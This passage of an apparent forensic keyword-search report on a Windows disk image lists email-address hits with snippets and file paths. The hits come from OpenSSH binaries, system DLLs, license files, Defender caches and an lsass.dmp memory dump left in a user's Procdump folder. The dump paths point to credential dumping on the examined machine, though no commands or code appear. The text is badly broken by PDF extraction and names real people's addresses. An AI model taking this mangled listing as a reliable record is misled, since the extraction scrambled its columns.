cancel-streamlocal-forward@openssh.com
T
a
Preview Source File
g
s
_cancel_streamlocal «cancel- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

streamlocal-
forward@openssh.com«
channel_update_perm
Page 51/145
T
a
Preview Source File
g
s
amlocal forwarding. «cancel- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

streamlocal-
server_input_global
_cancel_streamlocal «cancel- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

streamlocal-
channel_update_perm
_cancel_streamlocal «cancel- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-

streamlocal- client-components-
forward@openssh.com« onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74
channel_update_perm c7e35c/ssh.exe
cand@gmx.com
Ta
Preview Source File
gs
2011 lauri kasanen /img_disk.raw/vol_vol7/Program Files/VMware/VMware

(«cand@gmx.com«) all rights reserve Tools/open_source_licenses.txt
cannibale_qui@example.com
T
a
Preview Source File
g
s
e-mail colpì zeno: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«cannibale_qui@example. shared/ink/Alphabet.xml
com«. la formula,
e-mail colpì zeno: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«cannibale_qui@example. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcd
com«. la formula, b1e7da144/Alphabet.xml
Page 52/145
caoperator@disig.sk
T
a
Preview Source File
g
s
xvk h{n3 lj!@ `vgce /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«caoperator@disig.sk«/ca0f Defender/Scans/mpcache-
_0]ca_crlca ]4t 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin
{n3 lj!@ `vgce vhfq /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«caoperator@disig.sk« Defender/Scans/mpcache-
http://www.disig.sk 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
{n3 lj!@ `vgce vhfq /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«caoperator@disig.sk«
http://www.disig.sk
{n3 lj!@ `vgce vhfq /

«caoperator@disig.sk« img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.
http://www.disig.sk dmp
{n3 lj!@ `vgce vhfq /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

http://www.disig.sk
{n3 lj!@ `vgce vhfq /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

http://www.disig.sk
{n3 lj!@ `vgce vhfq /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«caoperator@disig.sk« crypt32-
http://www.disig.sk dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt
32.dll
{n3 lj!@ `vgce vhfq /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«caoperator@disig.sk« crypt32-
http://www.disig.sk dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt
32.dll
Page 53/145
cbiesinger@web.de
Ta
Preview Source File
gs
hristian biesinger /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«cbiesinger@web.de«> alternatively, Tools/open_source_licenses.txt
th
chacha20-poly1305@openssh.com
T
a
Preview Source File
g
s
256-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-add.exe

«chacha20-
poly1305@openssh.com« failed
to retrieve
256-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-agent.exe

«chacha20-
poly1305@openssh.com«
md5sha1 sha256 sha3
256-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keygen.exe

«chacha20-
to retrieve
256-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keyscan.exe

«chacha20-
md5sha1 sha256 sha3
~/.ssh/known_hosts2 «chacha20- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

poly1305@openssh.com«,aes12
8-ctr,aes192-c
256-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

«chacha20-
poly1305@openssh.com« hmac-
sha1 hmac-sha1
Page 54/145
T
a
Preview Source File
g
s
«chacha20- add.exe
to retrieve
«chacha20- agent.exe
md5sha1 sha256 sha3
«chacha20- keygen.exe
to retrieve
«chacha20- keyscan.exe
md5sha1 sha256 sha3
~/.ssh/known_hosts2 «chacha20- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

poly1305@openssh.com«,aes12
8-ctr,aes192-c
256-gcm@openssh.com /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
«chacha20- components-
poly1305@openssh.com« onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
md5sha1 sha256 sha3 e35c/ssh-keyscan.exe
~/.ssh/known_hosts2 «chacha20- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

poly1305@openssh.com«,aes12 components-
8-ctr,aes192-c onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
e35c/ssh.exe
Page 55/145
T
a
Preview Source File
g
s
«chacha20- common-components-
poly1305@openssh.com« failed onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207e8
to retrieve c478/ssh-add.exe
poly1305@openssh.com« onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207e8
md5sha1 sha256 sha3 c478/ssh-agent.exe
poly1305@openssh.com« failed onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207e8
to retrieve c478/ssh-keygen.exe
chambersignroot@chambersign.org
T
a
Preview Source File
g
s
hambersignroot.crl0 /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows
«chambersignroot@chambersign. Defender/Scans/mpcache-
org«0* chambersignroot@c 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
hambersignroot.crl0 /
«chambersignroot@chambersign. img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dm
org«0* chambersignroot@c p
hambersignroot.crl0 /
«chambersignroot@chambersign. img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/l
org«0* chambersignroot@c sass.dmp
hambersignroot.crl0 /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll
«chambersignroot@chambersign.
org«0* chambersignroot@c
Page 56/145
T
a
Preview Source File
g
s
hambersignroot.crl0 /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll
«chambersignroot@chambersign.
org«0* chambersignroot@c
hambersignroot.crl0 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-
«chambersignroot@chambersign. windows-crypt32-
org«0* chambersignroot@c dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/
crypt32.dll
hambersignroot.crl0 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-
«chambersignroot@chambersign. windows-crypt32-
org«0* chambersignroot@c dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/
crypt32.dll
chambersroot@chambersign.org
T
a
Preview Source File
g
s
g/chambersroot.crl0 /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows
«chambersroot@chambersign.org Defender/Scans/mpcache-
«0' chambersroot@cham 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
g/chambersroot.crl0 /
«chambersroot@chambersign.org img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp
«0' chambersroot@cham
g/chambersroot.crl0 /
«chambersroot@chambersign.org img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/l
«0' chambersroot@cham sass.dmp
g/chambersroot.crl0 /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll
«chambersroot@chambersign.org
Page 57/145
T
a
Preview Source File
g
s
g/chambersroot.crl0 /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll
«chambersroot@chambersign.org
g/chambersroot.crl0 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-
«chambersroot@chambersign.org windows-crypt32-
«0' chambersroot@cham dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/
crypt32.dll
g/chambersroot.crl0 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-
«chambersroot@chambersign.org windows-crypt32-
«0' chambersroot@cham dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/
crypt32.dll
christian@int3rrupt.com
Ta
Preview Source File
gs
christian giuffre /img_disk.raw/vol_vol7/Windows/Temp/script-5d269e0c-

<«christian@int3rrupt.com«>. # # 241c-b64c-96b7-4b2fb1b3dc05.ps1
permission is
cineva@acme.com
T
a
Preview Source File
g
s
stinatarii din list /

«cineva@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/pr
01.01.2000"" 0-9 8 nms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL

«cineva@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRES.
01.01.2000"" 0-9 8 DLL

«cineva@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_31
01.01.2000"" 0-9 8 bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FXSR
Page 58/145
T
a
Preview Source File
g
s
ES.DLL
cineva@emaiserver.ro
T
a
Preview Source File
g
s
mea de email este: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«cineva@emaiserver.ro« shared/ink/Alphabet.xml
„nu s-a putu
mea de email este: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«cineva@emaiserver.ro« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb
„nu s-a putu 1e7da144/Alphabet.xml
cineva@orice.com
T
a
Preview Source File
g
s
scrie-mi pe /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«cineva@orice.com« shared/ink/Alphabet.xml
sau office@orice.ro
scrie-mi pe /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«cineva@orice.com« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
sau office@orice.ro e7da144/Alphabet.xml
cineva@oricine.com
T
a
Preview Source File
g
s
actat și la adresa: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«cineva@oricine.com«. shared/ink/Alphabet.xml
salvează li
Page 59/145
T
a
Preview Source File
g
s
actat și la adresa: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«cineva@oricine.com«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
salvează li e7da144/Alphabet.xml
clientsettingd@ata.cd
Ta
Preview Source File
gs
\wbem\net cim.dll /
x)«clientsettingd@ata.cd« or,str ator ) img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/4
*pdf v 20eca21891c0180_blobs.bin
compuserve.com@aol.com
T
a
Preview Source File
g
s
gin:vcard9 f:@b: /img_disk.raw/vol_vol7/Program Files (x86)/Common

m:@«compuserve.com@aol.co Files/system/wab32.dll
m« @msn.com software\m
egin:vcard f:@b: /img_disk.raw/vol_vol7/Program Files/Common

m:@«compuserve.com@aol.co Files/system/wab32.dll
m« @msn.com software\m
egin:vcard f:@b: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

m:@«compuserve.com@aol.co windows-wab-
m« @msn.com software\m core_31bf3856ad364e35_10.0.17763.1_none_45e9575aa1f28fec/
wab32.dll
gin:vcard9 f:@b: /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-

m:@«compuserve.com@aol.co windows-wab-
m« @msn.com software\m core_31bf3856ad364e35_10.0.17763.1_none_503e01acd65351e
7/wab32.dll
Page 60/145
coolo@kde.org
Ta
Preview Source File
gs
2001 stephan kulow /img_disk.raw/vol_vol7/Program Files/VMware/VMware

(«coolo@kde.org«) this file is free Tools/open_source_licenses.txt
cpript.g@zhelper.re
Ta
Preview Source File
gs
nod , loca /
xmodif ]«cpript.g@zhelper.re« img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/4
vemovel(' ngd!'~, d 20eca21891c0180_blobs.bin
cps-requests@verisign.com
T
a
Preview Source File
g
s
gn.com by e-mail at «cps- /img_disk.raw/vol_vol7/Windows/SysWOW64/cryptdlg.dll

requests@verisign.com«; or
by mail at veri
gn.com by e-mail at «cps- /img_disk.raw/vol_vol7/Windows/System32/cryptdlg.dll

requests@verisign.com«; or
by mail at veri
gn.com by e-mail at «cps- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

requests@verisign.com«; or windows-cryptdlg-
by mail at veri dll_31bf3856ad364e35_10.0.17763.1_none_134e4707703f7b96/cry
ptdlg.dll
gn.com by e-mail at «cps- /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-

requests@verisign.com«; or windows-cryptdlg-
by mail at veri dll_31bf3856ad364e35_10.0.17763.1_none_1da2f159a4a03d91/cry
ptdlg.dll
Page 61/145
cps@netlock.net
T
a
Preview Source File
g
s
ocs or by e-mail at /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«cps@netlock.net«.0 Defender/Scans/mpcache-
19k&ks n79u u>g| 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
ocs or by e-mail at /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«cps@netlock.net«.0
19k&ks n79u u>g|
ocs or by e-mail at /
«cps@netlock.net«.0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.d
19k&ks n79u u>g| mp
ocs or by e-mail at /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

19k&ks n79u u>g|
ocs or by e-mail at /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

19k&ks n79u u>g|
ocs or by e-mail at /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«cps@netlock.net«.0 crypt32-
19k&ks n79u u>g| dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt3
2.dll
ocs or by e-mail at /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«cps@netlock.net«.0 crypt32-
19k&ks n79u u>g| dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt3
2.dll
Page 62/145
cq_yoyo@msn.com
T
a
Preview Source File
g
s
t naar mijn e-mail: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«cq_yoyo@msn.com«. shared/ink/Alphabet.xml
ze is qua u
t naar mijn e-mail: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«cq_yoyo@msn.com«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
ze is qua u e7da144/Alphabet.xml
currojerez@riseup.net
Ta
Preview Source File
gs
10 francisco jerez /img_disk.raw/vol_vol7/pagefile.sys

<«currojerez@riseup.net«>
permission is
10 francisco jerez /
<«currojerez@riseup.net«> img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/One
permission is Drive/18.143.0717.0002/ThirdPartyNotices.txt
10 francisco jerez /
<«currojerez@riseup.net«> img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/One
permission is Drive/18.143.0717.0002_1/ThirdPartyNotices.txt
curve25519-sha256@libssh.org
T
a
Preview Source File
g
s
1 curve25519-sha256 /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keyscan.exe

«curve25519-
sha256@libssh.org«
sntrup4591761x25519
1 curve25519- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

sha256,«curve25519-
sha256@libssh.org«,ecdh-sha2-
Page 63/145
T
a
Preview Source File
g
s
nistp256,
al kex proposal: %s /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

«curve25519-
sha256@libssh.org« diffie-
hellman-grou
1 curve25519-sha256 /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-
«curve25519- keyscan.exe
sha256@libssh.org« %s: %s
first_kex_fo
1 curve25519- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe
sha256,«curve25519-
sha256@libssh.org«,ecdh-sha2-
nistp256,
1 curve25519-sha256 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
«curve25519- components-
sha256@libssh.org« %s: %s onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e
first_kex_fo 35c/ssh-keyscan.exe
1 curve25519- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
sha256,«curve25519- components-
sha256@libssh.org«,ecdh-sha2- onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e
nistp256, 35c/ssh.exe
customer_service@oaticerts.com
T
a
Preview Source File
g
s
following address: /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«customer_service@oaticerts.c
om«.0 {0y0= 1http://cer
Page 64/145
T
a
Preview Source File
g
s
following address: /
«customer_service@oaticerts.c img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsa
om«.0 {0y0= 1http://cer ss.dmp
following address: /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

following address: /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

following address: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

«customer_service@oaticerts.c windows-crypt32-
om«.0 {0y0= 1http://cer dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/cr
ypt32.dll
following address: /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-

«customer_service@oaticerts.c windows-crypt32-
om«.0 {0y0= 1http://cer dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/cr
ypt32.dll
cworth@cworth.org
Ta
Preview Source File
gs
thor: carl d. worth /img_disk.raw/vol_vol7/Program Files/VMware/VMware

«cworth@cworth.org« > bsd-3 cairo- Tools/open_source_licenses.txt
1.1
Page 65/145
cyril@example.com
T
a
Preview Source File
g
s
esse électronique : /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«cyril@example.com«. shared/ink/Alphabet.xml
ma société
esse électronique : /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«cyril@example.com«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
ma société e7da144/Alphabet.xml
da9kc@9.pa
T
a
Preview Source File
g
s
:@7^;@jo,8#z8 ckzaj /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

«da9kc@9.pa«9 9t}@d$}
/ah:z 1aet
:@7^;@jo,8#z8 ckzaj /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«da9kc@9.pa«9 9t}@d$} speechrecognizer-en-
/ah:z 1aet us_31bf3856ad364e35_10.0.17763.1_none_a7d4b3ba449618b9/l1033.n
gr
daniel.kitta@gmail.com
Ta
Preview Source File
gs
7 daniel elstner /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«daniel.kitta@gmail.com«> this file is Tools/open_source_licenses.txt
part
Page 66/145
daniel@haxx.se
T
a
Preview Source File
g
s
7, daniel stenberg, /img_disk.raw/vol_vol7/Windows/Help/en-US/credits.rtf

«daniel@haxx.se«, and
many contribut
7 daniel stenberg, /img_disk.raw/vol_vol7/Windows/SysWOW64/curl.exe

<«daniel@haxx.se«>.
license https://c
7 daniel stenberg, /img_disk.raw/vol_vol7/Windows/System32/curl.exe

<«daniel@haxx.se«>.
license https://c
7 daniel stenberg, /
<«daniel@haxx.se«>. img_disk.raw/vol_vol7/Windows/WinSxS/amd64_curl_31bf3856ad364e35
license https://c _10.0.17763.1_none_6f3199f47554443b/curl.exe
7, daniel stenberg, /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«daniel@haxx.se«, and help-credits.resources_31bf3856ad364e35_10.0.17763.1_en-
many contribut us_9f32aadd3c4c1e93/credits.rtf
7 daniel stenberg, /
<«daniel@haxx.se«>. img_disk.raw/vol_vol7/Windows/WinSxS/wow64_curl_31bf3856ad364e3
license https://c 5_10.0.17763.1_none_79864446a9b50636/curl.exe
darren@proseware.com
T
a
Preview Source File
g
s
ose. contact /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«darren@proseware.com shared/ink/Alphabet.xml
« with any questions.
Page 67/145
T
a
Preview Source File
g
s
ose. contact /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«darren@proseware.com t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb
« with any questions. 1e7da144/Alphabet.xml
designbindingpickernodeproject@designbindingpickernodeinstancesrdesignbin
dingpickertreeviewaccessiblename.desi
T
a
Preview Source File
g
s
dingpickernodeother<«designbindingpickernodeproj /
ect@designbindingpickernodeinstancesrdesignbindi img_disk.raw/vol_vol7/Windows/Microsoft.NET/
ngpickertreeviewaccessiblename.desi«gnerbatchcre Framework/v4.0.30319/System.Design.dll
atetool,
ngpickertreeviewaccessiblename.desi«gnerbatchcre Framework64/v4.0.30319/System.Design.dll
atetool,
ngpickertreeviewaccessiblename.desi«gnerbatchcre assembly/GAC_MSIL/System.Design/v4.0_4.0.
atetool, 0.0__b03f5f7f11d50a3a/System.Design.dll
ect@designbindingpickernodeinstancesrdesignbindi img_disk.raw/vol_vol7/Windows/WinSxS/amd64
ngpickertreeviewaccessiblename.desi«gnerbatchcre _netfx4-
atetool, system.design_b03f5f7f11d50a3a_4.0.15713.0
_none_9127809ba0035806/System.Design.dll
ect@designbindingpickernodeinstancesrdesignbindi img_disk.raw/vol_vol7/Windows/WinSxS/msil_s
ngpickertreeviewaccessiblename.desi«gnerbatchcre ystem.design_b03f5f7f11d50a3a_4.0.15713.0_
atetool, none_56142d2005a0523b/System.Design.dll
Page 68/145
desrt@desrt.ca
Ta
Preview Source File
gs
uthor: ryan lortie /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«desrt@desrt.ca«> additional lice Tools/open_source_licenses.txt
diegog@unizar.es
Ta
Preview Source File
gs
10 diego gutierrez /img_disk.raw/vol_vol7/Program Files/VMware/VMware

(«diegog@unizar.es«) copyright (c) Tools/open_source_licenses.txt
2011
direct-streamlocal@openssh.com
T
a
Preview Source File
g
s
%dport_open_helper «direct- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

streamlocal@openssh.com«
connection to port
%dport_open_helper «direct- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

forwarded-streamloc
%dport_open_helper «direct- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

connection to port
%dport_open_helper «direct- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

streamlocal@openssh.com« components-
connection to port onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e
35c/ssh.exe
Page 69/145
dl@cs.oswego.edu
Ta
Preview Source File
gs
rmance data, etc to /img_disk.raw/vol_vol7/Program Files/VMware/VMware

«dl@cs.oswego.edu« version 2.8.3 thu Tools/open_source_licenses.txt
dmnd@desmondbrand.com
T
a
Preview Source File
g
s
2015 desmond brand /img_disk.raw/vol_vol7/Program

(«dmnd@desmondbrand.com«)\ Files/WindowsApps/Microsoft.SkypeApp_14.26.95.0_x64__kzf8q
n\npermission is h xf38zg5c/ReactAssets/index.windows.bundle
docstest1@docse3testtenant.onmicrosoft.com
T
a
Preview Source File
g
s
leave coauthor one /img_disk.raw/vol_vol7/Program

«docstest1@docse3testtenant. Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x
onmicrosoft.com« coauthor two 64__8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
docste Shared/OFFICE16/MSO.DLL
T
a
Preview Source File
g
s
ft.com coauthor two /img_disk.raw/vol_vol7/Program

«docstest2@docse3testtenant. Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x
onmicrosoft.com« coauthor 64__8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
three docs Shared/OFFICE16/MSO.DLL
Page 70/145
T
a
Preview Source File
g
s
.com coauthor three /img_disk.raw/vol_vol7/Program

«docstest3@docse3testtenant. Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_
onmicrosoft.com« mock reply x64__8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
message. Shared/OFFICE16/MSO.DLL
T
a
Preview Source File
g
s
9601} coauthor four /img_disk.raw/vol_vol7/Program

«docstest4@docse3testtenant. Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_
onmicrosoft.com« {37cead57- x64__8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
78e0-4c17 Shared/OFFICE16/MSO.DLL
T
a
Preview Source File
g
s
efortestingpurposes /img_disk.raw/vol_vol7/Program
«docstest5@docse3testtenant.o Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_
nmicrosoft.com« {37cead57- x64__8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
T
a
Preview Source File
g
s
99603} coauthor six /img_disk.raw/vol_vol7/Program

«docstest6@docse3testtenant.o Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_
nmicrosoft.com« {37cead57- x64__8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
Page 71/145
don.h@free.fr
T
a
Preview Source File
g
s
oftware inc. don ho /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«don.h@free.fr«! a..ence-mitigations-
computer business s c1_31bf3856ad364e35_10.0.17763.1_none_fce8220f4a75d7c9/AcRes.dll
xe notepad++ don ho /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«don.h@free.fr« a..ence-mitigations-
notes.exe guitare m c1_31bf3856ad364e35_10.0.17763.1_none_fce8220f4a75d7c9/sysmain.s
db
oftware inc. don ho /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«don.h@free.fr«! a..necoreuap.resources_31bf3856ad364e35_10.0.17763.1_en-
computer business s us_21f9973424a340b3/AcRes.dll.mui
oftware inc. don ho /img_disk.raw/vol_vol7/Windows/apppatch/AcRes.dll

«don.h@free.fr«!
computer business s
xe notepad++ don ho /img_disk.raw/vol_vol7/Windows/apppatch/sysmain.sdb

«don.h@free.fr«
notes.exe guitare m
oftware inc. don ho /img_disk.raw/vol_vol7/Windows/apppatch/en-US/AcRes.dll.mui

«don.h@free.fr«!
computer business s
dorada@example.com
T
a
Preview Source File
g
s
. dirección: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«dorada@example.co shared/ink/Alphabet.xml
m« la producció
. dirección: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«dorada@example.co t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
Page 72/145
T
a
Preview Source File
g
s
m« la producció 7da144/Alphabet.xml
drepper@gnu.ai.mit.edu
Ta
Preview Source File
gs
nc. ulrich drepper /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«drepper@gnu.ai.mit.edu«>, 1995. this Tools/open_source_licenses.txt
progr
dugsong@monkey.org
Ta
Preview Source File
gs
2000-2006 dug song /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«dugsong@monkey.org«> all rights Tools/open_source_licenses.txt
reser
dwitte@mozilla.com
Ta
Preview Source File
gs
r(s): daniel witte /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«dwitte@mozilla.com«> alternatively, Tools/open_source_licenses.txt
th
e_p@pirajui.br
T
a
Preview Source File
g
s
í: fundada em 1969 /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

(«e_p@pirajui.br«). à shared/ink/Alphabet.xml
noite, g
Page 73/145
T
a
Preview Source File
g
s
í: fundada em 1969 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

(«e_p@pirajui.br«). à t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
noite, g 7da144/Alphabet.xml
ea@rch.co
Ta
Preview Source File
gs
5c b0p86f-0 e00b6:f «ea@rch.co« /

xerp csbrok2e music img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/42
eay@cryptsoft.com
T
a
Preview Source File
g
s
95-1998 eric young /img_disk.raw/vol_vol7/pagefile.sys

(«eay@cryptsoft.com«)
all rights res
tten by eric young /img_disk.raw/vol_vol7/Program Files/VMware/VMware

(«eay@cryptsoft.com«). Tools/open_source_licenses.txt
this product inc
by eric young * /img_disk.raw/vol_vol7/Program

(«eay@cryptsoft.com«). Files/WindowsApps/Microsoft.Office.OneNote_16001.10228.20003.0_x64
this product inc __8wekyb3d8bbwe/resources.pri
by eric young * /img_disk.raw/vol_vol7/Program

(«eay@cryptsoft.com«). Files/WindowsApps/microsoft.windowscommunicationsapps_17.9330.213
this product inc 65.0_x64__8wekyb3d8bbwe/resources.pri
95-1998 eric young /

(«eay@cryptsoft.com«) img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/18.
all rights res 143.0717.0002/ThirdPartyNotices.txt
Page 74/145
T
a
Preview Source File
g
s
95-1998 eric young /

(«eay@cryptsoft.com«) img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/18.
all rights res 143.0717.0002_1/ThirdPartyNotices.txt
n by eric young * /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_hyperv-

(«eay@cryptsoft.com«). vmchipset_31bf3856ad364e35_10.0.17763.1_none_c603bc16e4d1c5e1/
